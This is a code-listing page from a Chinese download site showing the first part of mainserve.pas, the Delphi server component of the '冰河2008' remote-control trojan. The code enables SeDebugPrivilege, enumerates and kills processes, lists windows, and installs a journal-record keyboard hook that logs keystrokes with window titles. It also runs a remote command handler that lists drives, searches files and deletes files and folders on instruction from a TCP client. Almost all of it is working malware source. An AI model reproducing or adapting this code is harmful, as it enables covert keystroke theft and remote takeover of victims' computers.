⭐ 欢迎来到虫虫下载站! | 📦 资源下载 📁 资源专辑 ℹ️ 关于我们
⭐ 虫虫下载站

📄 mainserve.pas

📁 冰河2008远程控制迎奥运版,国内鼎鼎大名的老牌远控
💻 PAS
📖 第 1 页 / 共 3 页
字号:
  begin
  try
    TP.PrivilegeCount := 1;
    LookupPrivilegeValue(nil, pchar(PrivName), TP.Privileges[0].Luid);
    if bEnable then
      TP.Privileges[0].Attributes := SE_PRIVILEGE_ENABLED
    else TP.Privileges[0].Attributes := 0;
    AdjustTokenPrivileges(hToken, False, TP, SizeOf(TP), nil, Dummy);
    Result := GetLastError = ERROR_SUCCESS;
  except
  end;
  end;
var
  hToken: Cardinal;
begin
try
  OpenProcessToken(GetCurrentProcess, TOKEN_ADJUST_PRIVILEGES, hToken);
  EnablePrivilege(hToken, 'SeDebugPrivilege', True);
  CloseHandle(hToken);
except
end;
end;

function Savenowtask:String;     //进程内容
var
    isOK:Boolean;
    ProcessHandle:Thandle;
    ProcessStruct:TProcessEntry32;
    TheList:Tstringlist;
    i:integer;
begin
     TheList:=Tstringlist.Create;
     ProcessHandle:=createtoolhelp32snapshot(Th32cs_snapprocess,0);
     processStruct.dwSize:=sizeof(ProcessStruct);
     isOK:=process32first(ProcessHandle,ProcessStruct);
     for i:=0 to 100 do ThreadID[i]:=0;
     ThreadID[0]:=ProcessStruct.th32ProcessID;
     i:=0;
     while isOK do
     begin
	 TheList.Add(ProcessStruct.szExeFile);//进程名-------------------1
         if true then  //   isNt
         begin
	   TheList.Add(IntToStr(ProcessStruct.th32ProcessID));//进程ID-----2
	   TheList.Add(IntToStr(ProcessStruct.cntThreads));//线程数--------3
	   TheList.Add(IntToStr(ProcessStruct.pcPriClassBase));//优先级-4
	   TheList.Add(IntToStr(ProcessStruct.th32ParentProcessID));//父进程ID-5
         end else
         begin
	   TheList.Add(IntTostr(ProcessStruct.th32ProcessID));//进程ID-----2
	   TheList.Add('0');//线程数--------3
	   TheList.Add('0');//优先级-4
	   TheList.Add('0');//父进程ID-5
         end;
	 isOK:=process32next(ProcessHandle,ProcessStruct);
         inc(i);
         ThreadID[i]:=ProcessStruct.th32ProcessID;
     end;
     Result:=TheList.text;
     CloseHandle(ProcessHandle);
     TheList.Free;
end;
function Killprocsee(id:integer): Boolean;
begin
    Result := False;
    try
        EnableDebugPrivilege;
        H:=OpenProcess(Process_All_Access, True,ThreadID[id]);
        GetExitCodeProcess(H,II);
        TerminateProcess(H,II);
        Result := True;
    except
    end;
end;

function Searchallwindow:string;
var
  hCurrentWindow: HWnd;
  szText: array[0..254] of char;
  i:integer;
  winlist:TStringlist;
begin
  winlist:=TStringlist.Create;
  for i:=0 to 100 do allhwnd[i]:=0;
  i:=0;
  hCurrentWindow := GetWindow(application.Handle, GW_HWNDFIRST);
  while hCurrentWindow <> 0 do
  begin
    if GetWindowText(hCurrentWindow, @szText, 255) > 0 then
      begin
             if sztext<>'Default IME' then
                begin
                  allhwnd[i]:=hcurrentwindow;
                  inc(i);
                  Winlist.Add(Sztext);
                end;
          end;
    hCurrentWindow := GetWindow(hCurrentWindow, GW_HWNDNEXT);
  end;
  Result :=Winlist.Text;
  Winlist.Free;
end;

function LogProc(iCode: Integer; wparam, lparam: LongInt): lresult; stdcall;
var
  ch: Char;
  vKey: Integer;
  FocusWnd: HWND;
  Title: array[0..255] of Char;
  str: array[0..12] of Char;
  TempStr, Time: string;
  LogFile: TextFile;
  PEvt: ^EVENTMSG;
  iCapital, iNumLock, iShift: Integer;
  bShift, bCapital, bNumLock: Boolean;
begin
  if iCode < 0 then
  begin
    Result := CallNextHookEx(LogHook, iCode, wParam, lParam);
    exit;
  end;
  if (iCode = HC_ACTION) then
  begin
    pEvt := Pointer(DWord(lParam));
    
    FocusWnd := GetActiveWindow;
    if LastFocusWnd <> FocusWnd then
    begin
      if hookkey<>'' then
        begin
          HookList.Add(hookkey);
          hookkey :='';
        end;
      HookList.Add('---------End----------');
      HookList.Add('--------begin---------');
      GetWindowText(FocusWnd, Title, 256);
      LastFocusWnd := FocusWnd;
      Time := DateTimeToStr(Now);
      HookList.Add(Time + Format('Title:%s', [Title]));
    end;

    if pEvt.message = WM_KEYDOWN then
    begin
      vKey := LOBYTE(pEvt.paramL);
      iShift := GetKeyState($10);
      iCapital := GetKeyState($14);
      iNumLock := GetKeyState($90);
      bShift := ((iShift and KeyMask) = KeyMask);
      bCapital := ((iCapital and 1) = 1);
      bNumLock := ((iNumLock and 1) = 1);

      //HookList.Add('这是vKey:'+inttostr(vKey));

      if ((vKey >= 48) and (vKey <= 57)) then
        begin
          if not bShift then
            begin
              ch := Char(vKey);
            end else begin
              case vKey of
                48: ch := ')';
                49: ch := '!';
                50: ch := '@';
                51: ch := '#';
                52: ch := '$';
                53: ch := '%';
                54: ch := '^';
                55: ch := '&';
                56: ch := '*';
                57: ch := '(';
              end;
           end;
         hookkey:=hookkey+ch;
       end;
      if (vKey >= 65) and (vKey <= 90) then // A-Z a-z
      begin
        if not bCapital then
        begin
          if bShift then
            ch := Char(vKey)
          else
            ch := Char(vKey + 32);
        end
        else begin
          if bShift then
            ch := Char(vKey + 32)
          else
            ch := Char(vKey);
        end;
        hookkey:=hookkey+ch;
      end;
      if (vKey >= 96) and (vKey <= 105) then // 小键盘0-9
        if bNumLock then
        hookkey:=hookkey+Char(vKey - 96 + 48);
      ch:='n';
      if (VKey > 105) and (VKey <= 111) then
      begin
        case vKey of
          106: ch := '*';
          107: ch := '+';
          109: ch := '-';
          111: ch := '/';
        else
          ch := 'n';
        end;
      end;
      if (vKey >= 186) and (vKey <= 222) then // 其他键
      begin
        case vKey of
          186: if not bShift then ch := ';' else ch := ':';
          187: if not bShift then ch := '=' else ch := '+';
          188: if not bShift then ch := ',' else ch := '<';
          189: if not bShift then ch := '-' else ch := '_';
          190: if not bShift then ch := '.' else ch := '>';
          191: if not bShift then ch := '/' else ch := '?';
          192: if not bShift then ch := '`' else ch := '~';
          219: if not bShift then ch := '[' else ch := '{';
          220: if not bShift then ch := '\' else ch := '|';
          221: if not bShift then ch := ']' else ch := '}';
          222: if not bShift then ch := Char(27) else ch := '"';
        else
          ch := 'n';
        end;
      end;
      if ch <> 'n' then
      hookkey:=hookkey+ ch;

      // if (wParam >=112 && wParam<=123) // 功能键   [F1]-[F12]
      if (vKey >= 8) and (vKey <= 46) then //方向键
      begin
        ch := ' ';
        case vKey of
          8: str := '[退格]';
          9: str := '[TAB]';
          13: str := '[Enter]';
          32: str := '[空格]';
          33: str := '[PageUp]';
          34: str := '[PageDown]';
          35: str := '[End]';
          36: str := '[Home]';
          37: str := '[LF]';
          38: str := '[UF]';
          39: str := '[RF]';
          40: str := '[DF]';
          45: str := '[Insert]';
          46: str := '[Delete]';
        else
          ch := 'n';
        end;
        if ch <> 'n' then
        begin
          //if PrvChar<>Char(vKey) then
          //begin
            hookkey :=hookkey+str;
          // PrvChar := Char(vKey);
          //end;
        end;
      end;
   end ;
{     else
      if (pEvt.message = WM_LBUTTONDOWN) or (pEvt.message = WM_RBUTTONDOWN) then
      begin
        if hookkey<>'' then
          begin
            HookList.add(Hookkey);
            hookkey:='';
          end;
        if pEvt.message = WM_LBUTTONDOWN then
          TempStr := '鼠标左键: '
        else
          TempStr := '鼠标右键: ';
        HookList.Add(TempStr + Format('x:%d,y:%d', [pEvt.paramL, pEvt.paramH]));
      end;
    //CloseFile(LogFile);  }
  end;
  Result := CallNextHookEx(LogHook, iCode, wParam, lParam);
end;

function Installhook:string;
begin
     if LogHook = 0 then
       begin
         Result:='Cmd009';           //启动键盘记录成功!查看记录前请先终止键盘记录!
         LogHook := SetWindowsHookEx(WH_JOURNALRECORD, LogProc, HInstance, 0);
       end else begin
         Result:='Cmd010';           //键盘记录已经启动过了!
       end;
end;
function Uninstallhook:string;
begin
     try
       if LogHook <> 0 then
         begin
           UnhookWindowsHookEx(LogHook);
           LogHook := 0;
           HookList.Add(Hookkey);
           HookList.Add('*********End**********');
           Hookkey:='';
         end;
     except
     end;
     Result:='Cmd012';      //终止键盘记录成功!
end;
//-------------------------------------------------

constructor TClientHandleThread.Create;
begin
   inherited Create(True);
   FreeOnTerminate:=True;
   Suspended := false;
   //Priority:=tpIdle;
end;

destructor TClientHandleThread.Destroy;
begin
  inherited destroy;
end;

procedure TClientHandleThread.HandleInput;
var
  RDStrList,RootDStrList:TStringList;
  Request,Temp:String;
  i:integer;
  MyFirstBmp:TMemoryStream;
  AFileStream: TFileStream; //传输的文件流
begin
try
  RDStrList:=TStringList.Create;
  RDStrList.Text:=CommandStr;  //线程

  if  RDStrList[0] = '001' then
  begin
     RootDStrList:=TStringList.Create;
     GetDrivernum(RootDStrList);
     Request:=RootDStrList.Text;
     ServerForm.SendStreamToClient(ServerForm.IdTCPClient1,'001',Request);
     RootDStrList.Free;
  end;
  if  RDStrList[0] = '002' then
  begin
     Request:= FindFile(RDStrList[1]);
     ServerForm.SendStreamToClient(ServerForm.IdTCPClient1,'002',Request);
     Exit;
  end;
  if  RDStrList[0] = '010' then     {删除文件或文件夹}
  begin
        try
          if DirectoryExists(RDStrList[1]) then begin
                  RemoveDir(RDStrList[1]);
              end
           else begin
              if FIleExists(RDStrList[1])  then
                begin
                    FilesetAttr(RDStrList[1],0);
                    DeleteFile(RDStrList[1]);
                end;
              end;
        except
        end;
  end;
  if  RDStrList[0] = '011' then  {新建文件夹}
  begin
     try
       Temp:=RDStrList[1];
       i:=0;
       while DirectoryExists(Temp) do
        begin

⌨️ 快捷键说明

复制代码 Ctrl + C
搜索代码 Ctrl + F
全屏模式 F11
切换主题 Ctrl + Shift + D
显示快捷键 ?
增大字号 Ctrl + =
减小字号 Ctrl + -